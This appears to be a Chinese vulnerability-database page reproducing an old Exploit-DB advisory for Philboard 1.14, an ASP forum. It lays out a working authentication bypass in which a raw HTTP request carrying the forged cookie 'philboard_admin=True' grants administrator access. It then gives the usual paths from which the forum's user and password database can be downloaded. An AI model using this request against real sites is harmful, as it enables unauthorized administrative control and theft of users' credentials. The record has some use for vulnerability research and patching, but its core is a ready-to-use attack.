philboard 1.14 – ‘philboard_admin.asp’ Authentication Bypass

23次阅读
没有评论

philboard 1.14 – ‘philboard_admin.asp’ Authentication Bypass

漏洞ID 1053907 漏洞类型
发布时间 2003-05-29 更新时间 2003-05-29
philboard 1.14 - 'philboard_admin.asp' Authentication BypassCVE编号 N/A
philboard 1.14 - 'philboard_admin.asp' Authentication BypassCNNVD-ID N/A
漏洞平台 ASP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22673
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7739/info

A vulnerability has been discovered in the 'philboard_admin.asp' script used by Philboard. The problem occurs during authentication and may allow an attacker to gain unauthorized administrative access.

The issue presents itself when handling cookie-based authentication credentials.

By gaining administrative access an attacker may be capable of carrying out a variety of attacks.

It should be noted that although this vulnerability has been reported to affect philboard version 1.14 previous versions might also be affected. 

Use telnet and open target on port 80

GET /board/philboard_admin.asp HTTP/1.0
Host: example.com
Cookie: philboard_admin=True;

Download the database (users and password):

Usually, the database location can be found and download it from:
http://www.target.com/database/philboard.mdb
or
http://www.target.com/forum/database/philboard.mdb

相关推荐: Multiple Vendor DNS Cache Corruption Vulnerability

Multiple Vendor DNS Cache Corruption Vulnerability 漏洞ID 1105080 漏洞类型 Origin Validation Error 发布时间 1997-04-23 更新时间 1997-04-23 CVE编号…

正文完
 0